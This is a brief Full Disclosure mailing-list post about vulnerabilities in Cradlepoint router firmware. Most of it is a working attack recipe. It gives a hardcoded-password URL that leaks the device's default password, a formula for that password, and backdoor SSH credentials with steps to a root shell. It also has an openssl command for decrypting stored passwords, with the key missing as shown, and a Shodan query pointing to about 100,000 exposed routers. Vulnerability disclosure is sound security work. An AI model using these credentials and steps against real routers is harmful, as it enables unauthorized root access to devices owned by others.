[FD] Cradlepoint vulnerabilities

[CrazyOwl via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>]

Many vulnerabilities in the built-in software of the Cradlepoint Router. 100000 
such routers can be seen in the shodan 
(https://www.shodan.io/search?query=cradlepointhttpservice). These 
vulnerabilities were reported to Cradlepoint in august.

A hardcoded password allows you to retrieve sensitive information, including 
the default password:
* go to http://[router IP]/plt?password=W6rqCjk5ijRs6Ya5bv55
* router default password is last 8 characters of WLAN_MAC

Escalate privileges using a backdoor account with a hardcode username and 
password:
1. enable ssh login
2. set control.system.techsupport_access true
3. login with ssh using u:cproot p:1415 + last 4 bytes of WLAN_MAC
4. type 'sh' to get root shell

Passwords that are encrypted using a hardcoded key:
* for passwords in the configuration store starting with "$1" the encrypted 
password is all after the last "$"
* the password can be decrypted using: echo [encrypted password] | openssl enc 
-d -aes-256-cbc -md sha1 -base64 -nosalt -k
